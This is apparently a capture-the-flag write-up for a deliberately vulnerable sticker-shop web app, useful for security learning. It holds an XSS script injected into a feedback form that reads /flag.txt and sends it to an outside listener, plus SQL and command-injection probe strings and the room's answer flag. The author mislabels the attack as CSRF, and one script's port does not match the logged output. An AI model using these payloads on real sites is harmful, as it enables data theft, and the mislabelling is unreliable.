[CTF] Tryhackme - The Sticker Shop
Task & Intro
1
2
3
Your local sticker shop has finally developed its own webpage. They do not have too much experience regarding web development, so they decided to develop and host everything on the same computer that they use for browsing the internet and looking at customer feedback. Smart move!
Can you read the flag at http://MACHINE_IP:8080/flag.txt?
- What is the content of flag.txt?
Get the content of flag.txt
First we start over with another scan via nmap
. I use the paramters -sV
for checking the versions
of the services.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
└─$ nmap $ip -sV -sC
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-29 18:56 CET
Nmap scan report for 10.10.146.150
Host is up (0.037s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 b2:54:8c:e2:d7:67:ab:8f:90:b3:6f:52:c2:73:37:69 (RSA)
| 256 14:29:ec:36:95:e5:64:49:39:3f:b4:ec:ca:5f:ee:78 (ECDSA)
|_ 256 19:eb:1f:c9:67:92:01:61:0c:14:fe:71:4b:0d:50:40 (ED25519)
8080/tcp open http-proxy Werkzeug/3.0.1 Python/3.8.10
|_http-server-header: Werkzeug/3.0.1 Python/3.8.10
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/3.0.1 Python/3.8.10
| Date: Sun, 29 Dec 2024 17:56:48 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 1655
| Connection: close
| <!DOCTYPE html>
| <html>
| <head>
| <title>Cat Sticker Shop</title>
| <style>
| body {
| font-family: Arial, sans-serif;
| margin: 0;
| padding: 0;
| header {
| background-color: #333;
| color: #fff;
| text-align: center;
| padding: 10px;
| header ul {
| list-style: none;
| padding: 0;
| header li {
| display: inline;
| margin-right: 20px;
| header a {
| text-decoration: none;
| color: #fff;
| font-weight: bold;
| .content {
| padding: 20px;
|_ .product {
|_http-title: Cat Sticker Shop
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.94SVN%I=7%D=12/29%Time=67718D5F%P=x86_64-pc-linux-gnu%
SF:r(GetRequest,726,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/3\.0\.1
SF:\x20Python/3\.8\.10\r\nDate:\x20Sun,\x2029\x20Dec\x202024\x2017:56:48\x
SF:20GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length
SF::\x201655\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html>\n<h
SF:ead>\n\x20\x20\x20\x20<title>Cat\x20Sticker\x20Shop</title>\n\x20\x20\x
SF:20\x20<style>\n\x20\x20\x20\x20\x20\x20\x20\x20body\x20{\n\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20font-family:\x20Arial,\x20sans-serif
SF:;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20margin:\x200;\n\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20padding:\x200;\n\x20\x20\x20
SF:\x20\x20\x20\x20\x20}\n\x20\x20\x20\x20\x20\x20\x20\x20header\x20{\n\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20background-color:\x20#333;
SF:\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20color:\x20#fff;\n\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20text-align:\x20center;\n\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20padding:\x2010px;\n\x20\x2
SF:0\x20\x20\x20\x20\x20\x20}\n\x20\x20\x20\x20\x20\x20\x20\x20header\x20u
SF:l\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20list-style:\x20
SF:none;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20padding:\x200;\n
SF:\x20\x20\x20\x20\x20\x20\x20\x20}\n\x20\x20\x20\x20\x20\x20\x20\x20head
SF:er\x20li\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20display:
SF:\x20inline;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20margin-rig
SF:ht:\x2020px;\n\x20\x20\x20\x20\x20\x20\x20\x20}\n\x20\x20\x20\x20\x20\x
SF:20\x20\x20header\x20a\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20text-decoration:\x20none;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20color:\x20#fff;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20font-weight:\x20bold;\n\x20\x20\x20\x20\x20\x20\x20\x20}\n\x20\x20\x
SF:20\x20\x20\x20\x20\x20\.content\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20padding:\x2020px;\n\x20\x20\x20\x20\x20\x20\x20\x20}\n\x
SF:20\x20\x20\x20\x20\x20\x20\x20\.product\x20{\n\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20bo");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Okay we have ssh
(Port 22) and a Python Web Server
on port 8080
. Lets check the website a bit more.
The page is very plain, not much to explore, but there is a subpage submit_feedback
where we can put text in it:
I tried a lot of things here like SQL Injection
( feedback=' OR '1'='1
) or Command Injection
(feedback=; ls -la
) but it didnt work.
So we can try to use XSS
in this feedback form. I assumed that I could use CSRF
for sending answers like “ls -la” or cat flag.txt
to me somehow
CSRF
stands forCross-Site Request Forgery
which means, that we can send feedback to an external source
Solution via CSRF
We can use CSRF
to send the answer from this feedback form
to us.
I used a simple http
server via python and a simple script in js
.
sudo python3 -m http.server 80
and we just write a simple (thanks chatgpt lol
) script for sending the answer
to our http server
encrypted in base64
.
1
2
3
4
5
6
7
8
<script>
fetch("/", {method:'GET',mode:'no-cors',credentials:'same-origin'})
.then(response => response.text())
.then(text => {
fetch('http://10.10.74.22:80/' + btoa(text), {mode:'no-cors'});
});
</script>
Short summary what the script does line by line:
fetch("/", {method:'GET',mode:'no-cors',credentials:'same-origin'})
fetch
gets theroot page
/
get
usesGET
method to read the datacredentials: 'same-origin'
uses the same session cookies / information
Target: Should read the whole html content
from the page.
.then(response => response.text())
respone.tex()
transforms the answer in readable text
.then(text => { fetch('http://10.10.74.22:80/' + btoa(text), {mode:'no-cors'}); });
btao
codes the content intobase64
for transferting it- we used our
http server
as target
We get following anser:
1
10.10.146.150 - - [29/Dec/2024 19:31:21] "GET /PCFET0NUWVBFIGh0bWw+CjxodG1sPgo8aGVhZD4KICAgIDx0aXRsZT5DYXQgU3RpY2tlciBTaG9wPC90aXRsZT4KICAgIDxzdHlsZT4KICAgICAgICBib2R5IHsKICAgICAgICAgICAgZm9udC1mYW1pbHk6IEFyaWFsLCBzYW5zLXNlcmlmOwogICAgICAgICAgICBtYXJnaW46IDA7CiAgICAgICAgICAgIHBhZGRpbmc6IDA7CiAgICAgICAgfQogICAgICAgIGhlYWRlciB7CiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICMzMzM7CiAgICAgICAgICAgIGNvbG9yOiAjZmZmOwogICAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXI7CiAgICAgICAgICAgIHBhZGRpbmc6IDEwcHg7CiAgICAgICAgfQogICAgICAgIGhlYWRlciB1bCB7CiAgICAgICAgICAgIGxpc3Qtc3R5bGU6IG5vbmU7CiAgICAgICAgICAgIHBhZGRpbmc6IDA7CiAgICAgICAgfQogICAgICAgIGhlYWRlciBsaSB7CiAgICAgICAgICAgIGRpc3BsYXk6IGlubGluZTsKICAgICAgICAgICAgbWFyZ2luLXJpZ2h0OiAyMHB4OwogICAgICAgIH0KICAgICAgICBoZWFkZXIgYSB7CiAgICAgICAgICAgIHRleHQtZGVjb3JhdGlvbjogbm9uZTsKICAgICAgICAgICAgY29sb3I6ICNmZmY7CiAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiBib2xkOwogICAgICAgIH0KICAgICAgICAuY29udGVudCB7CiAgICAgICAgICAgIHBhZGRpbmc6IDIwcHg7CiAgICAgICAgfQogICAgICAgIC5wcm9kdWN0IHsKICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgI2NjYzsKICAgICAgICAgICAgcGFkZGluZzogMTBweDsKICAgICAgICAgICAgbWFyZ2luOiAxMHB4OwogICAgICAgICAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7CiAgICAgICAgfQogICAgPC9zdHlsZT4KPC9oZWFkPgo8Ym9keT4KICAgIDxoZWFkZXI+CiAgICAgICAgPHVsPgogICAgICAgICAgICA8bGk+PGEgaHJlZj0iLyI+SG9tZTwvYT48L2xpPgogICAgICAgICAgICA8bGk+PGEgaHJlZj0iL3N1Ym1pdF9mZWVkYmFjayI+RmVlZGJhY2s8L2E+PC9saT4KICAgICAgICA8L3VsPgogICAgPC9oZWFkZXI+CiAgICA8ZGl2IGNsYXNzPSJjb250ZW50Ij4KICAgICAgICA8aDE+V2VsY29tZSB0byB0aGUgQ2F0IFN0aWNrZXIgU2hvcCE8L2gxPgogICAgICAgIDxkaXYgY2xhc3M9InByb2R1Y3QiPgogICAgICAgICAgICA8aW1nIHNyYz0iL3N0YXRpYy9pbWFnZXMvY2F0X3N0aWNrZXJfMS5wbmciIGFsdD0iQ2F0IFN0aWNrZXIgMSIgd2lkdGg9IjMwMCIgaGVpZ2h0PSIzMDAiPgogICAgICAgICAgICA8aDI+Q2F0IFN0aWNrZXIgMTwvaDI+CiAgICAgICAgICAgIDxwPlByaWNlOiAkMi45OTwvcD4KICAgICAgICA8L2Rpdj4KICAgICAgICA8ZGl2IGNsYXNzPSJwcm9kdWN0Ij4KICAgICAgICAgICAgPGltZyBzcmM9Ii9zdGF0aWMvaW1hZ2VzL2NhdF9zdGlja2VyXzIucG5nIiBhbHQ9IkNhdCBTdGlja2VyIDIiIHdpZHRoPSIzMDAiIGhlaWdodD0iMzAwIj4KICAgICAgICAgICAgPGgyPkNhdCBTdGlja2VyIDI8L2gyPgogICAgICAgICAgICA8cD5QcmljZTogJDMuOTk8L3A+CiAgICAgICAgPC9kaXY+CgogICAgPC9kaXY+CiAgICA8YnI+Jm5ic3A7Jm5ic3A7V2Ugb25seSBzZWxsIHN0aWNrZXJzIGF0IG91ciBwaHlzaWNhbCBzdG9yZS4gUGxlYXNlIGZlZWwgZnJlZSB0byBzdG9wIGJ5IQo8L2JvZHk+CjwvaHRtbD4= HTTP/1.1" 404
This is the webpage encoded in base64
which means, that CSRF
was successful. Lets get the flag by adjusting the script a bit.
1
2
3
4
5
6
7
8
<script>
fetch("/flag.txt", {method:'GET',mode:'no-cors',credentials:'same-origin'})
.then(response => response.text())
.then(text => {
fetch('http://10.6.74.42:1443/' + btoa(text), {mode:'no-cors'});
});
</script>
As you can see, we try to fetch
the /flag.txt
. We get now following as answer:
1
2
3
4
5
└─$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.146.150 - - [29/Dec/2024 19:34:17] code 404, message File not found
10.10.146.150 - - [29/Dec/2024 19:34:17] "GET /:1443/VEhNezgzNzg5YTY5MDc0ZjYzNmY2NGEzODg3OWNmY2FiZThiNjIzMDVlZTZ9 HTTP/1.1" 404 -
We can use cyberchef to decode the base64
string:
And we found our flag!! :-)
Answer: THM{83789a69074f636f64a38879cfcabe8b62305ee6}
Thoughts
This room is very nice to get an understanding how XSS
, especially CSRF
works. In this challenge, I leveraged CSRF
and XSS
techniques to exfiltrate sensitive data from the target web server. It was an excellent exercise in understanding web vulnerabilities and their potential impact. Always remember to sanitize user input and validate requests to mitigate these risks.
What did we learn today?
- Exploting
CSRF
- some Syntax in
Javascript